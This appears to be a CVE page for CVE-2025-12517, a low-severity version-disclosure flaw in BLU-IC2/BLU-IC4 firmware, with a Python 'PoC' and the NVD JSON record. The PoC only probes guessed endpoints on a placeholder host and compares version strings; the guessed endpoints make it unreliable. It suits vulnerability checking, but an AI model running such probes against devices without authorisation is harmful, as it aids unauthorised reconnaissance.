CVE-2025-12517

# CVE-2025-12517 PoC - BLU-IC2/BLU-IC4 Version Information Disclosure # This PoC demonstrates the version mismatch in Credits page import requests import json TARGET_HOST = "http://target-device.local" CVE_ID = "CVE-2025-12517" def check_version_mismatch(): """ Check if Credits page version matches actual firmware version """ results = { "cve_id": CVE_ID, "target": TARGET_HOST, "vulnerable": False, "credits_version": None, "firmware_version": None, "mismatch_detected": False } try: # Method 1: Check Credits page via web interface credits_endpoints = [ "/about", "/credits", "/version", "/api/version", "/api/firmware/info", "/api/system/info" ] for endpoint in credits_endpoints: try: response = requests.get( f"{TARGET_HOST}{endpoint}", timeout=10, verify=False ) if response.status_code == 200: # Try to extract version from response content = response.text.lower() # Look for version patterns import re version_pattern = r'(?:version|ver|fw)[\s:]*(\d+\.\d+\.?\d*)' versions = re.findall(version_pattern, content) if versions: if results['credits_version'] is None: results['credits_version'] = versions[0] except requests.RequestException: continue # Method 2: Check actual running firmware version firmware_endpoints = [ "/api/system/status", "/api/device/info", "/firmware_version", "/api/v1/info" ] for endpoint in firmware_endpoints: try: response = requests.get( f"{TARGET_HOST}{endpoint}", timeout=10, verify=False ) if response.status_code == 200: try: data = response.json() if 'firmware_version' in data: results['firmware_version'] = data['firmware_version'] elif 'version' in data: results['firmware_version'] = data['version'] except json.JSONDecodeError: continue except requests.RequestException: continue # Check for mismatch if (results['credits_version'] and results['firmware_version'] and results['credits_version'] != results['firmware_version']): results['mismatch_detected'] = True results['vulnerable'] = True except Exception as e: results['error'] = str(e) return results if __name__ == "__main__": print(f"[*] Checking {CVE_ID}") print(f"[*] Target: {TARGET_HOST}") results = check_version_mismatch() print(json.dumps(results, indent=2)) if results['vulnerable']: print(f"\n[!] VULNERABLE: Version mismatch detected") print(f" Credits Page Version: {results['credits_version']}") print(f" Actual Firmware Version: {results['firmware_version']}")

{"cve": {"id": "CVE-2025-12517", "sourceIdentifier": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "published": "2025-10-30T16:15:35.257", "lastModified": "2025-11-10T14:51:37.207", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Credits Page not Matching Versions in Use in the FirmwareThis issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5 ."}], "metrics": {"cvssMetricV40": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-448"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic2_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "00BF15A1-C965-4601-83E9-8617B86E833A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic2:*:*:*:*:*:*:*:*", "matchCriteriaId": "C898C110-6C42-40A0-93FC-B6ED785F23A9"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic4_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "6493C6E4-1304-4B28-A6C5-37CE2D1EAE46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic4:*:*:*:*:*:*:*:*", "matchCriteriaId": "902CD787-42BF-4565-8CA5-78123E37AA99"}]}]}], "references": [{"url": "https://azure-access.com/security-advisories", "source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "tags": ["Vendor Advisory"]}]}}